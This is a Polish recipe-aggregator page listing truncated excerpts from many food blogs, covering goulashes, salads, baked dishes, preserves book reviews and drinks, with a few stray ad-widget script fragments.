Pyszny i bardzo prosty pomysł na szybki domowy obiad. Takie mięsko w sosie idealnie właśnie smakuje z makaronami. 400 g sznycli z indyka Przyprawa do mięsa 250 g pieczarek 2 cebule ½ pęczka natki pietruszki 500 ml wody lub bulionu 200 g gęstej śmietany 18% 1 łyżka mąki ryżowej 1 łyżeczka suszonych pomidorów z czosnkiem Sól Pieprz Czosnek granulowany

VioletoweKucharzenie
Gulasz z indyka z marchewką 206

indyka oraz młodej marchewki. Wystarczy mięso przyprawić, lekko zamarynować i ugotować w wodzie wraz z dodatkiem posiekanej cebuli, listków laurowych, ziela angielskiego i półplasterków marchewki. Jeżeli lubicie lekko gęste sosy to gotowy gulasz możecie zaciągnąć zawiesiną z mąki ziemniaczanej.  Składniki na porcję dla 2-3 osób: 0,5 kg udźca z indyka 2 młode, średniej wielkości marchewki 1/2 małej

Ugotować
Sałatka ze szparagami i burratą 168

cytryny, odrobinę zimnej wody, czosnek, sól i pieprz. Na dnie talerza układamy porwane listki szpinaku, na nim układamy szparagi, burratę i pomidory. Wszystko posypujemy, bazylią, musztardowcem i polewamy sosem. Od razu podajemy

Kulinarne przygody Gatity
Tarta z pomidorami 234

wyłożyć nim formę do tarty. Cebulę posiekać i zeszklić na maśle. Śmietanę ubić z jajkami, przyprawić solą, pieprzem, czosnkiem, oregano, Wymieszać z posiekanymi cebulą i serem. Na ciasto wylać sos śmietanowy, udekorować plastrami pomidorów. Piec 45-50 min w 180st. Artykuł Tarta z pomidorami pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Zapiekanka z kaszy gryczanej pod beszamelem 235

Składniki na zapiekankę z kaszy gryczanej: 2 szkl ugotowanej kaszy gryczanej 300g boczku wędzonego 1 mały pęczek natki pietruszki 1 puszka pomidorów siekanych 2 szkl beszamelu – przepis na sos beszamelowy Jak zrobić zapiekankę z kaszy gryczanej: Boczek kroimy w kostkę i podsmażamy aż lekko się wytopi i zezłoci. Na patelnię do boczku wsypujemy kaszę, posiekana natkę pietruszki, mieszamy, doprawiamy

Dorota Smakuje
Jak zrobić idealne frytki w domu? Metoda profesjonalistów, którą każdy powinien znać 3434

podbiły Wielką Brytanię, a później Stany Zjednoczone – matecznik fast foodu, który bez frytek by przecież nie istniał. Mogą stanowić samodzielne danie, podawane z tylko z solą lub różnymi sosami albo dodatek do ryb i mięsa. Są pyszne, o ile dobre je przyrządzono. Wbrew pozorom frytki bardzo łatwo zepsuć. Niestety, w barach i restauracjach frytki przeważnie przygotowuje się z mrożonego

Kulinarna Polska
Goleń wołowa duszona 167

całe mięso było zanurzone w płynie. Dodałem ziele angielskie, liście laurowe, zamieszałem, przykryłem garnek. Dusiłem, aż mięso było miękkie (ok. 2 godziny ). Doprawiłem sola i pieprzem. Jeżeli po ugotowaniu sos okaże się zbyt rzadki, wyjmij z niego mięso i odparuj na średnim ogniu, często mieszając. Na koniec dodaj mięso z powrotem. Spróbuj i dopraw do smaku solą i pieprzem

R'n'G Kitchen
Apulia najpiękniejsze miejsca 181

mnie najfajniejszą atrakcją jest warsztat kulinarny z włoską gospodynią, która uczy gotować apulijskie potrawy. Cena to 80 eura min. 2 osoby. Do przygotowania jest foccacia, orecchiete z pomidotowym sosem, zuccini alla poverella, pancerotti, polpete e melanzane ripiene. Dostępne są wycieczki żaglówkami lub katamaranem. Płynie się między Monopoli a Polignano a Mare. Trwa ok. 3,5 godziny z drinkami i przekąskami

AZgotuj!
pyszne kotlety mielone z indyka z cukinią,cebulą z patelni grillowej... 228

grillować - mielone mięso z indyka jak najbardziej nadaje się na kotlety z grilla, szybko są gotowe, mają delikatny, soczysty smak, cukinia, cebula jest smacznym dodatkiem i nie potrzeba nawet sosów............SMACZNEGO

W Mojej Kuchni Lubię
Prosta sałatka na grilla 174

drobno i smażymy na rozgrzanej patelni do czasu, aż przybierze złocisty kolor. Gdy ziemniaki ostygną, dorzucamy pokrojony w kostkę ser, usmażoną cebulę i czerwoną fasolę. W małym naczyniu robimy sos, czyli mieszamy razem: jogurt naturalny, majonez, koperek i rozdrobniony czosnek. Zalewamy nim naszą sałatkę, dokładnie wszystko mieszamy i odkładamy na kilka godzin do lodówki. SMACZNEGO

Związek na patelni
Tort tostowy poprzeczny (z piekarnika) 255

twarzach smakujących go osób. Dzięki margarynie Śniadaniowej boki tortu nie są suche, lecz chrupiące niczym grzanki z opiekacza. Jedna mała porcja, z dodatkiem ulubionej sałatki, świeżych warzyw lub pysznego sosu sprawi, że Twój dzień rozpoczniesz iście królewsko! Składniki na tortownicę o śr.16cm: 1 opakowanie chleba tostowego (ok 500g) Margaryna Śniadaniowa o smaku Solonego Masła 600g pieczarek 150g szynki konserwowej

Kuchnia w czekoladzie
Sałatka z cukinii i marchewki 160

praskę czosnek oraz sól i pieprz do smaku. Pomidory umyć, osuszyć, pokroić w kostkę o boku ok. 1-1,5 cm. Warzywa (marchewkę i cukinię) wymieszać z wyżej przygotowanym sosem, dodać pomidory, doprawić do smaku solą i pieprzem, delikatnie przemieszać. Surówka z cukinii i marchewki gotowa! Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); The post Sałatka z cukinii i marchewki appeared first

Kulinarne Przeboje
Krewetki na sposób prowansalski 195

Aromatyczne, pyszne krewetki mam dziś do podania. Idealnym rozwiązaniem jest podanie ich z bagietą, a resztki sosu wycieranie kawałkami pieczywa. One są znakomite i mogą być obiadem i przekąską i przystawką, jak lubicie. Prowansalskie krewetki. CZYTAJ DALEJ

Moje Małe Czarowanie
Ciecierzyca. Jak ugotować? 172

Bardzo zdrowa, kremowa, ma wiele zastosowań w kuchni. Ciecierzyca, cieciorka lub groch włoski, jak wolicie. Możemy przygotować sałatki z dodatkiem cieciorki, wiele zup, także typu krem, sosów, kremowy hummus. Pierwszy raz skosztowałam jej w gorącym Maroku – bezpowrotnie się zakochałam. Jest pyszna! Moczymy ją całą noc w zimnej wodzie, następnie gotujemy w wodzie z dodatkiem soli, najczęściej jakieś 2 godziny

Zasmakuj Kuchni
Śniadaniowe placuszki z musem truskawkowym. 226

miksujemy. 2. Smażenie: Na patelni rozgrzewamy margarynę i smażymy niewielkie placuszki po kilka minut z każdej strony. 3. Osączanie: Usmażone placuszki osączamy na papierowym ręczniku z nadmiaru tłuszczu. 4. Sos: Truskawki myjemy, osuszamy i usuwamy szypułki, następnie blendujemy z cukrem do smaku na gładki mus. 5. Podanie: Gotowe placuszki podajemy z musem truskawkowym. Smacznego. Moje rady: Szklanka do odmierzania składników

Izabelawkuchni
Zdrowy i syty lunch mix. Propozycja na danie w pudełku. 223

opcjonalnie kilka kropel oliwy. Kolejny pojemnik to jabłko z miętą, a następny to kanapeczki z szynką i serem dosmaczone ketchupem i bazylią. Gdy kulki się upieką, włóż wraz z sosem do pojemnika. Kulki mogą być jedzone również na zimno. Taki pojemnik to lekkie zabezpieczenie na cały dzień! Smacznego i na zdrowie

Z Kuchni Do Kuchni
Sałatka ze szpinakiem i orzechami nerkowca 180

sobą ogórki, pomidorki, orzechy, cebulę oraz ziarenka granatu. Wierzch sałatki ze szpinakiem oprószyć sezamem oraz skropić oliwą z oliwek (lub olejem rzepakowym; opcjonalnie możecie zamiast oliwy użyć swojego ulubionego sosu do sałatek). Podawać od razu po przygotowaniu. Smacznego! Sałatka ta jest bardzo lekka, więc stanowi idealny dodatek do ciężkich dań z grilla. Można ją jeść również jako dodatek do kanapek

Kulinarne Przeboje
Sałatka z fasolką szparagową 164

kurczakiem, cebulą, pomidorem i musztardą francuską tworzy bardzo udaną kompozycję. Bez dodatkowych słów zapraszam na zapoznanie się z przepisem;) ok. 300 g fasolki szparagowej 2 pojedyncze małe piersi kurczaka Sos: 1 czerwona cebula 2 łyżki octu balsamicznego 2 łyżki oliwy 1 duży pomidor malinowy 2 łyżeczki musztardy francuskiej sól, pieprz, bazylia Fasolkę myjemy, odcinamy końcówki, kroimy na mniejsze części. Wrzucamy

Smaki Na Talerzu
Kotleciki jaglane z tuńczykiem. Pyszne na ciepło i na zimno. PRZEPIS 188

też zabrać do pracy albo na piknik. Świetnie smakują również na zimno. Składniki: 100 gramów kaszy jaglanej, 4 małe jajka, 1 cebula, 2 średnie marchewki, puszka tuńczyka w sosie własnym w kawałkach, sól, pieprz, bułka tarta do panierowania, olej do smażenia. Zrób tak: kaszę ugotuj i przełóż do miski. Ugotuj na twardo także dwa jajka. Marchewkę obierz i zetrzyj

Kulinarna Polska
Amerykańska Tuna Melt, czyli kanapka z sałatką z tuńczyka i roztopionym cheddarem 221

Majonez wymieszać z sokiem z limonki i płatkami chili. Tuńczyka odsączyć i umieścić w misce. Rozdrobnić widelcem. Dodać pokrojone ogórki, seler naciowy i posiekaną drobno cebulę. i pietruszkę. Dodać sos majonezowy, wymieszać i przyprawić solą i pieprzem. Na jednej kromce ułożyć dużą ilość sałatki (około 1/2 szklanki). Na wierzch położyć 2-3 plasterki pomidora i 2 plasterki sera cheddar. Czynność

Zielona Kuchnia
Noodle z tuńczykiem 162

przepisem z opakowania. Marchewki obieramy, kroimy w kostkę, podsmażamy minute na oliwie. Do marchewek dodajemy przeciśnięty przez praskę czosnek, tuńczyka z olejem, majonez, natkę, mieszamy podgrzewamy minutkę. Do sosu dodajemy odcedzony makaron. Doprawiamy sokiem z cytryny, solą i pieprzem. posypujemy sezamem. Artykuł Noodle z tuńczykiem pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Recenzja książki "Przetwory z pomysłem" 207

tylko dla początkujących ale i bardziej doświadczonych przetwórców. Książka została podzielona na następujące rozdziały: Przetwory owocowe: Dżemy Konfitury Marmolady Powidła Galaretki Przeciery Frużeliny Syropy Kompoty Owoce w alkoholu Nalewki Sosy i przeciery warzywne Solonki Marynowanie Ocet Kiszonki Rok w spiżarni Owocowo-warzywne kalendarium Książka oprócz cennych rad i wskazówek od autorki, cytatów i legend opatrzona jest pięknymi i kolorowymi zdjęciami

Smakołyki Asi
Pieczone pierożki z bobem i suszonymi pomidorami 186

układaj na blasze wyłożonej papierem do pieczenia. Piecz ok. 30 minut w piekarniku rozgrzanym do 200 stopni. Pieczone pierożki z bobem i suszonymi pomidorami podawaj z dipem pomidorowym lub sosem czosnkowym Smacznego Artykuł Pieczone pierożki z bobem i suszonymi pomidorami pochodzi z serwisu 365 dni dookoła kuchni

365 dni dookoła kuchni
Wegańskie lody peanut butter & cookies - Ben&Jerry’s 147

dodatek ciasteczek kakaowych i masła orzechowego bardzo kusił. Zobaczcie czy warto było poddać się temu kuszeniu.      Nazwa: Lody waniliowe z ciastkami o smaku czekoladowym i sosem orzechowym. Firma: Ben&Jerry’s Skład: woda, cukier, oleje roślinne (kokosowy, z orzechów ziemnych, słonecznikowy), pasta i kawałki orzechów ziemnych (8%), syrop glukozowy, mąka pszenna, pasta z migdałów (2%), kakao

Candy Pandas
Przetwory z pomysłem Patrycja Machałek 208

zaawansowani znajdą tutaj ponad 100 przepisów na dżemy, konfitury, marmolady, powidła, galaretki, przeciery, frużeliny, syropy, kompoty, ale też i owoce w alkoholu czy nalewki. Są też przetwory warzywne: solonki, sosy i przeciery octy oraz kiszonki jednym słowem całe mnóstwo inspiracji, by zamknąć lato w słoiczkach i cieszyć się jego smakiem w długie listopadowe wieczory i mroźne styczniowe poranki. Do tego

Cynamonowe szczęście
Pieczony pstrąg z warzywami 247

pasuje mi delikatna konsystencja mięsa. Dodatkowo pstrąga robi się szybko i bez zbędnych ceregieli. :) Jeśli lubisz tę pyszną rybkę to wypróbuj także ekspresowy przepis na pstrąga pieczonego w zielonym sosie ziołowym . Prosty przepis na pstrąga z piekarnika W tym przepisie nie ma jakiejś specjalnej filozofii. Jest on nieskomplikowany i szybki. Należy najpierw przygotować sobie wszystkie składniki, doprawić pstrąga a następnie

Book of spells
Gulasz warzywny z bakłażana, batatów i ciecierzycy 181

innych posiłków – ciepłego śniadania czy pożywnej kolacji. Wegański gulasz ze słodkich ziemniaków, bakłażana i ciecierzycy Podstawą tego gulaszu są bogate w błonnik bakłażany, to dzięki nim uzyskamy gęsty sos, bataty dodadzą słodkości i cennych karotenoidów a ciecierzyca uzupełni danie w białko o stosunkowo dużej wartości odżywczej. Jeśli szukasz innych pomysłów na dania wegańskie z wykorzystaniem bakłażana to sprawdź też

Book of spells
Gołąbki z młodej kapusty 120

smaku solą i pieprzem. Na każdy liść układamy farsz, zawijamy i układamy w naczyniu żaroodpornym. Masło rozgrzewamy, dodajemy mąkę, dokładnie łączymy. Wlewamy mleko, wrzucamy posiekany koperek. Mieszamy. Gołąbki zalewamy sosem, pieczemy 45 minut

R'n'G Kitchen
"PRZETWORY Z POMYSŁEM" PATRYCJI MACHAŁEK- RECENZJA KSIĄŻKI 130

znaleźć można 100 przepisów na proste przetwory. P odzielona została na rozdziały:  przetwory owocowe: przepisy na dżemy, konfitury, marmolady, powidła, galaretki, frużeliny, kompoty, owoce w alkoholu, nalewki.  *sosy i przeciery warzywne * później solonki * marynowane * ocet  * kiszonki.  Na końcu książki znajdziemy też kalendarium owocowo - warzywne. Oprawiona została w twardą okładkę, 240 stron, kolorowe, przejrzyste fotografie i czytelne

Zrób to smacznie
Sałatka ziemniaczana z jajkiem i bobem 191

koperkiem. Rzodkiewki umyj i również pokrój je w plastry. Do miski włóż ziemniaki, rzodkiewki oraz ugotowany bób. Następnie dodaj jajka pokrojone w ćwiartki. W kubeczku wymieszaj musztardę z majonezem. Sosem polej sałatkę. Jeśli chcesz, dopraw ją do smaku solą i pieprzem. Smacznego Artykuł Sałatka ziemniaczana z jajkiem i bobem pochodzi z serwisu 365 dni dookoła kuchni

365 dni dookoła kuchni
Najlepsze przepisy na ogórki na zimę 549

prze kierowani na stronę z wybranym przepisem. Najlepsze przepisy na ogórki na zimę , czyli 18 sprawdzonych przepisów na ogórki na zimę do słoików. Przetwory z ogórków: 1. Ogórki w sosie pomidorowym 2. Ogórki marynowane pikantne z chili 3. Ogórki kiszone na zimę 4. Ogórki małosolne w plastrach 5. Pikantne ogórki na zimę 6. Ogórki małosolne błyskawiczne 7. Ogórki małosolne

Damsko-męskie spojrzenie na kuchnię
Gofry 177

idealne! Składniki 1,5 szklanki mąki pszennej szklanka mleka 2 jajka 3 łyżki masła 3/4 łyżeczki proszku do pieczenia 3 łyżki cukru dodatki: bita śmietana, owoce, dżemy i konfitury, sos czekoladowy itp. Czas przygotowania: 10 minut na zrobienie ciasta + kilka minut pieczenia Liczba porcji: 10 gofrów var widgetParams = "{ 'Id':'7e35f10c-d4fb-4b8d-b121-3c07dbd69dfc','AffId':'32377'}"; var params=encodeURIComponent

Analiza Smaku
Surówka z białej kapusty 157

obiadu bez surówki. Przynajmniej u nas. A najlepiej jak jest "z białym sosem", jak mawia mój Luby ;) Dziś proponuję prostą se świeżej białej kapusty. Chrupiąca i smaczna. Składniki -500 g białej kapusty -1/2 cebuli -1 duża marchew -1 kwaśne jabłko -pół pęczka szczypiorku -2 łyżki majonezu -2 łyżki jogurtu greckiego -sól, pieprz -suszony czosnek Przygotowanie Kapustę poszatkować, umieścić

Zielona Kuchnia
Kalafior w panierce 173

jajkami następnie w  bułce tartej. Smażymy na rozgrzanym głębokim tłuszczu jak np. frytki. Po usmażeniu przekładamy na ręcznik papierowy aby pozbyć się nadmiaru tłuszczu. Bardzo smaczny z sosem holenderskim lub czosnkowym

Andzia Pichci
Domowa lemoniada 205

Domowa lemoniada to napój, który idealnie nadaje się na takie upalne dni, jak są przed nami. Klasyczna lemoniada składa się głównie z cytryny i limonki, nasza

Kulinarnyblog.pl - wiesz jak gotować!
Marynata do karkówki z sosu sojowego na grilla 149

Pyszna marynata do mięska z grilla - tym razem wymyśliłam marynatę na bazie sosu sojowego - była naprawdę super,mięsko wyszło delikatne i soczyste,a smak ....mniam - polecam

Swojskie jedzonko
Szakszuka 139

popularne danie kuchni bliskowschodniej. Samo słowo shakshouka oznacza „bałagan”. Jest to idealna propozycja na śniadanie lub kolację. Przygotowanie jest szybkie i bardzo proste, ponieważ jajka wbija się na przygotowany sos na bazie pomidorów. Danie podaje się prosto z patelni, dlatego świetnie sprawdzi się na śniadanie w większym gronie. Szakszuka 1 puszka pomidorów krojonych lub 3 pomidory świeże 4 jajka

Przepisy na widelcu
PRZETWORY Z POMYSŁEM - recenzja książki 164

zdjęciami, dokładnymi opisami wykonania. Doskonała zarówno dla poczatkujących jak i weteranów w przetwarzaniu. Zaczynamy od przetworów owocowych ( konfitury, dżemy, marmolady, powidła, galaretki itp ). Kolejno pojawiają się przepisy na nalewki, sosy i przeciery warzywne, solonki czy pikle i marynaty. Najbardziej zaintrygował mnie rozdział " OCET " . Są w nim przepisy na ciekawe octy smakowe np. z mirabelek i rozmarynu, ocet siedmiu złodziei

Kuchnia z widokiem na ogród
Bulion wołowy 152

Bulion wołowy wykorzystuję jako bazę do zup i sosów. Często dzielę go na porcje i zamrażam. Z mięsa po bulionie robię pierogi lub paszteciki. Składniki: 700 g mięsa wołowego z kością 1 marchewka 1 pietruszka niewielki seler niewielki por 2 liście laurowe 10 ziaren ziela angielskiego około 1 płaskiej łyżeczki soli pieprz mielony Wykonanie: Mięso dokładnie płuczemy, zalewamy zimną wodą

Smak mojego domu
"Przetwory z pomysłem" 190

książce Pani Patrycji znajdziemy wiele cennych przepisów na przetwory owocowe i warzywne. Autorka książki pokazuje nam jak przygotować: domowe dżemy, konfitury, marmolady, powidła, galaretki, przeciery, frużeliny, syropy, kompoty, nalewki, sosy i przeciery warzywne, solonki, marynowane warzywa, domowy ocet i kiszonki. Każdy rozdział książki poprzedzony jest wstępem przedstawiającym historię powstawania danej grupy przetworów. Przepisy w książce "Przetwory z pomysłem" są bardzo

Tradycyjna kuchnia Kasi
Przetwory z pomysłem Patrycja Machałek – recenzja 195

znajdziecie w książce? Przepisy na pyszne dżemy, konfitury, marmolady, powidła, galaretki, przeciery, frużeliny, syropy, kompoty, ale też i owoce w alkoholu czy nalewki. Nie zabrakło również pomysłów na solonki, sosy i przeciery warzywne, octy, kiszonki itd. Mnie osobiście zainteresowały przepisy na syropy (np. mandarynkowy czy hibiskusowy), na wiśnie w karmelowym burbonie, na marynowany imbir czy powidła z borówek amerykańskich

Słodkie okruszki
Filet kurczaka w sosie mango musztardowym z mleczkiem kokosowym 161

Uwielbiam jednogarnkowe dania. Zwłaszcza z drobiem i podane z ryżem lub chlebkami naan . Dziś zapraszam na pyszne danie z sosem mango-musztardowym. Dodatek kolendry i mleczka kokosowego nadaje lekko indyjski styl, ale jest bez dodatku curry i kurkumy.  Składniki (4 porcje) -duży podwójny filet kurczaka (ok. 500-600 g) -2 dojrzałe mango -puszka mleczka kokosowego -5 marynowanych papryczki jalapeno

Zielona Kuchnia
SAŁATKA Z MARCHEWKI Z POMARAŃCZĄ I DZIKIM BRATKIEM 196

marchewką. Z dwóch pozostałych pomarańczy wyciśnij sok. Dodaj wodę z kwiatów pomarańczy, sok z cytryny, miód, oliwę i cynamon, wymieszaj. Dopraw solą. Oberwij listki mięty, drobno posiekaj.  Wymieszaj sos z marchewką   i pomarańczą, odstaw na godzinę do schłodzenia. Versez dans le saladier, mélangez les carottes et les oranges, laissez reposer au frais1 heure. Dodaj miętę, posyp dzikimi bratkami

Smaki Francji współczesna kuchnia francuska
Smakoterapia 3 Iwona Zasuwa - recenzja 193

raczej piwniczki, bo niestety mieszkanie w bloku tylko na to mi pozwala. W miarę jak przeglądałam stronę za stroną wzrastała moja lista rzeczy do zrobienia - pieczone młode marchewki, sos słodko kwaśny, truskawki z bzem, brzoskwinie z rozmarynem, ocet z truskawek, ech no mówię Wam jest w czym wybierać, każdy przepis ciekawy i każdy chciałoby się wypróbować. Jest smacznie, zdrowo

Cynamonowe szczęście
Pappardelle z kurczakiem w sosie śmietanowym 169

Smaczny obiad na miłośników makaronu, który przygotujesz błyskawicznie. Dietetyczne mięso z filetu z kurczaka w kremowym sosie śmietankowym ze słodkimi pomidorkami koktajlowymi, po prostu pycha

Gotuj zdrowo!Guten Appetit!
Amerykańskie naleśniki na kefirze 181

kefir były bez laktozy. Ale to głównie ze względu na moją na nią nietolerancję. Lubisz naleśniki? Jeśli tak to wypróbuj nasz przepis na Naleśniki z kurczakiem i sosem paprykowym. The post Amerykańskie naleśniki na kefirze appeared first on MeCooks

mecooks
Domowe mleko kokosowe 159

warstwa tłuszczu, taka kokosowa śmietanka. Warto więc przed nalaniem wstrząsnąć butelkę lub podgrzać odrobinę, by tłuszcz kokosowy się rozpuścił. Można też wykorzystać taką śmietankę do innych celów, np. do sosu. W takiej sytuacji lepiej byłoby wystudzić domowe mleko kokosowe w innym niż butelka naczyniu, żeby ułatwić sobie zebranie śmietanki.   Na zdrowie!   Artykuł Domowe mleko kokosowe pochodzi z serwisu

Figa S-makiem
Smażone pierogi z kaczką i masłem majerankowym 161

może Cię zainteresować: → Pierogi z kapustą kiszoną, kminkiem i boczkiem → Smażone pierogi z wołowiną na ostro → Pierogi ruskie → Smażone pierogi szafranowe z rydzami i czerwonym pieprzem → Piersi kaczki w sosie pomarańczowo – imbirowym z anyżem

Oryginalny smak
Pieczona rolada ze schabu z boczkiem i botwinką 164

śliwkami → Świąteczna pieczona łopatka z czosnkiem → Pieczeń z dzika z suszonymi śliwkami na puree z pieczonej papryki i batata → Zrazy wołowe → Roladki z szynki z suszonymi pomidorami, oliwkami i sosem bazyliowym

Oryginalny smak
Pieczony kotlet cielęcy z kolorową sałatką (Cotolette di vitello con insalata di verdure) 182

dokładnie mieszamy. Na talerzu układamy rukolę i surówkę z cukinii i marchwi. Na wierzchu układamy kotlet pokrojony na plasterki. Przed podaniem sałatkę skrapiamy wcześniej przygotowanym sosem. Sałatkę podajemy od razu po przygotowaniu. **** PREPARAZIONE Cotolette di vitello Ponete le cotolette ancora surgelate in una padella antiaderente ben calda in cui avrete versate un filo d'olio

La grande e la piccola cuoca
"Przetwory z pomysłem" Patrycja Machałek 171

szukają inspiracji.  Książka została podzielona na rozdziały: przetwory owocowe i tutaj znajdziemy przepisy na dżemy, konfitury, marmolady, powidła, galaretki, frużeliny, kompoty, owoce w alkoholu, nalewki. Następne są sosy i przeciery warzywne, później solonki, marynowane, ocet i kiszonki. Na końcu znajdziemy też kalendarium owocowo - warzywne. Przepisy ciekawe, niektóre intrygujące, aż chce się spróbować jak dane połączenie będzie smakowało. Do tego

kruche babeczki
Pieczony kalafior 226

Składniki; 1 kalafior 1 mały jogurt naturalny 1 łyżka oliwy 1 łyżeczka curry 1 łyżeczka sosu tabasco 1 łyżeczka jarzynki 1/3 łyżeczki chili 1/3 łyżeczki kurkumy Przygotowanie: Z kalafiora odciąć … Czytaj dalej Pieczony kalafior

czarrna od kuchni
Pieczeń z karkówki (z piekarnika) 217

Pomysł na szybką do przygotowania (nie licząc czasu pieczenia) i bardzo smaczną karkówkę. Mięso najlepiej przyprawić dzień przed pieczeniem, aby "przeszło" przyprawami. Podczas pieczenia utworzy się duża ilość sosu, który można zaciągnąć wodą z mąką lub zblendować wraz z upieczoną cebulą.    Składniki na porcję dla 4-6 osób:  1 kg karkówki (w całości) 1 cebula przyprawy sól

Ugotować
Marynata z kefiru do kurczaka z grilla. Krok po kroku. 162

lodówki. Zanim temperatura dojdzie do środka, wierzch może być spalony. Udziki podałem z młodymi ziemniakami i surówką z młodej kapusty z koperkiem oraz sosem tzatziki.     Marynata idealna   Wiele osób pyta mnie jak przygotować drób z grilla, żeby był chrupiący z zewnątrz i soczysty w środku. Odpowiadam

kuron.com.pl
Lekkie kotleciki z cukinią 137

Provolone Bardzo lubię pieczone kotlety, których nie muszę doglądać stojąc przy patelni. Mielone z warzywami robię często na wiele różnych sposobów. Czasem dodaję ugotowaną kaszę i podaję tylko z sosem. Czasem, jak tutaj, mieszam mięso z cukinią. Szczególnie, gdy nie umiem się zdecydować, czy chcę placki z cukinii, czy kotlety mielone. 4 porcje: ok. 500 g piersi z indyka

Kucharzyca
Restauracja Biały Królik 160

wędzonymi skwarkami oraz kawior z musztardy i derenia Polski karmelizowany kalafior oraz lodowaty kuskus z kalafiora Kartacze z cielęciną według tradycyjnej kujawskiej receptury, czerwona kapusta z marynowaną cebulą oraz sos smardzowy Sernik na zimno z rabarbarem Restaurację Biały Królik oraz hotel Quadrille odwiedziłam w ramach Spotkania z Lifestyle Pomorskim, na które zostałam zaproszona przez Pomorskie Prestige , projekt realizowany przez Pomorską

Kucharzyca
Kotlety z kurczaka w panierce z płatków kukurydzianych 172

soczystego kurczaka. W ten sposób można przygotować zarówno kotlety w ramach obiadowego posiłku, jak i filet pokroić w cieńsze paski i w ten sposób uzyskać "paluszki" do maczania w sosie. Składniki (4 porcje) -duży podwójny filet z kurczaka (ok. 500 g) -2 szkl. płatków kukurydzianych -2 jajka -mąka -sól, pieprz -olej do smażenia Przygotowanie Filet umyć i oczyścić. Rozkroić wzdłóż

Zielona Kuchnia
Gulasz z indyka 209

papryki, chwilę przesmażyć i podlać  szklanką wody. -- -- -- Dodać marchewkę z groszkiem i poddusić do miękkości. -- Do smaku dodajemy sól, pieprz.... podlewamy wodą i dusimy jeszcze chwilę. -- Koniecznie próbujemy sos i w razie czego doprawiamy. Serwujemy na gorąco z pieczywem lub z innymi dodatkami. Smacznego

chleba naszego
Pomysły na przekąski na piknik 139

pokrój także ser gouda. Do miski dodaj wędlinę i ser, dodaj marynowanego selera odsączonego z zalewy, kukurydzę. Dopraw sałatkę szczyptą soli, pieprzu i papryki. Z majonezu i jogurtu przygotuj sos do sałatki, dodaj o do sałatki i wymieszaj. Paszteciki z kurczakiem Przygotowanie : 30 minut Składniki: – 400-500 g wędliny z kurczaka Cedrob – filet, krakowska, kiełbasa – dowolnie – 1 jajko

nietylkopasta.pl
Przetwory z pomysłem 163

szukają odmiany. Książka jest podzielona na rozdziały: I. Przetwory owocowe - gdzie znajdziecie przepisy na dżemy, konfitury, marmolady, powidła, galaretki, przeciery, frużeliny, syropy, kompoty, owoce w alkoholu i nalewki II. Sosy i przeciery warzywne III. Solonki IV. Marynowanie V. Ocet VI. Kiszonki Już wpadło mi o oko kilka ciekawych pomysłów np. na ananasa w rumie, marynowane śliwki, kiszone jabłka, syrop mandarynkowy

Kuchnia domowa Ani
Wegekotlety, czyli kotlety z brokuła lub kalafiora z kaszą quinoa 211

kaszy jaką mamy w domu - jaglana, jęczmienna a nawet z ryżem będzie dobre (prawie cała szklanka) garść ziaren słonecznika 3 łyżki mąki ziemniaczanej 3-4 łyżki oleju 2 łyżki sosu sojowego pół łyżeczki syropu z agawy lub innego słodzidła sól i pieprz do smaku Przygotowanie: 1. Kalafiora lub brokuła gotujemy. Kaszę tak samo. 2. Cebulę i czosnek siekamy na drobno

dobra gospodyni dom wesołym czyni
Pierogi z mięsem wołowym 190

godziny.  Dodajemy warzywa i gotujemy następne 1,5 godziny. W międzyczasie bulion pieprzymy i jeśli zachodzi potrzeba, solimy. Mięso wyjmujemy z bulionu, studzimy. Bulion wykorzystujemy do zup lub sosów. Wykonanie farszu: Cebulę drobno kroimy, solimy i podsmażamy na oleju do zeszklenia.  Ugotowane i ostudzone mięso mielimy w maszynce do mięsa.  Do mięsa dodajemy zeszkloną cebulę. Dolewamy około

Smak mojego domu
Sałatka z tuńczykiem, brokułem i ryżem 151

osobne danie, a także jako dodatek. Drukuj Proporcje na: 3 porcje Czas przygotowania: 30 minut Ocena: 5.0 /5 ( 1 głos/y ) składniki 1 puszka tuńczyka (120 g), najlepiej w sosie własnym 200 g brokuła (waga samych różyczek) 50 g ryżu (użyłam brązowego), czyli ok. 170 g po ugotowaniu 1 pomidor 1 ogórek (gruntowy) 2 łyżki nasion słonecznika 3 łyżki jogurtu

Via Gusto
Kawa mrożona z syropem klonowym 162

zimnego mleka kokosowego 1,5 ekstraktu waniliowego 4 łyżki syropu klonowego kilka kostek lodu Przygotowanie: Na dno wysokiej szklanki wrzucamy kilka kostek lodu i wlewamy zimną kawę. Przygotowujemy sos: łączymy ze sobą syrop klonowy i ekstrakt waniliowy, mieszamy i wlewamy do kawy. Na koniec wlewamy schłodzone mleko kokosowe i dokładnie mieszamy. Wpis powstał ze współpracy z Love Kave Artykuł Kawa

Kukuleczki
Kotlety z kalafiora 269

Kotlety to fajny sposób, żeby przemycić warzywa. Idealne jako baza obiadu, albo dodatek do kanapki. Z chrupiącą bułką i kremowym sosem stworzą pysznego burgera. Pomysłów na ich zjedzenie jest wiele. Ja najbardziej lubię wyjadać je na zimno z lodówki. Ilość porcji: 8-10 niedużych kotletów Czas przygotowania: około godziny Składniki: kalafior – 400 g (½ główki) sucha kasza jaglana – ½ szklanki

wiecejwarzyw.pl
Chleb orkiszowo konopny 160

użycia GMO. Mąka konopna może mieć różny poziom wilgotności, ta z Domu Konopi idealnie nadaje się do wypieku chleba, jako dodatek do ciast i ciasteczek a nawet zagęszczacz do sosów, którym nadaje lekko orzechowy posmak. Jak zrobić chleb orkiszowo konopny Drożdże rozcieram z cukrem, dodaję 3-4 łyżki wody, czubatą łyżkę mąki orkiszowej i odstawiam na około 10-15 minut

Kulinaria - potrawy z różnych stron świata
"Przepisy Joli. W rodzinnej kuchni" Jola Caputa 227

kaczka faszerowana kapustą, zupa cygańska, tort naleśnikowy ze szpinakiem i wiele innych propozycji :-) Po pani Joli przychodzi czas na kuchnię Grzegorza, który swoje propozycje zaczyna od idealnego steku z sosem, czy szarpaną wieprzowiną na cydrze, są  też banany w cieście czy drink w starym stylu. Jest bardziej po męsku, więcej mięs, więc Panowie z takich propozycji będą zadowoleni :-) Ostatnia

kruche babeczki
Faszerowane bakłażany 158

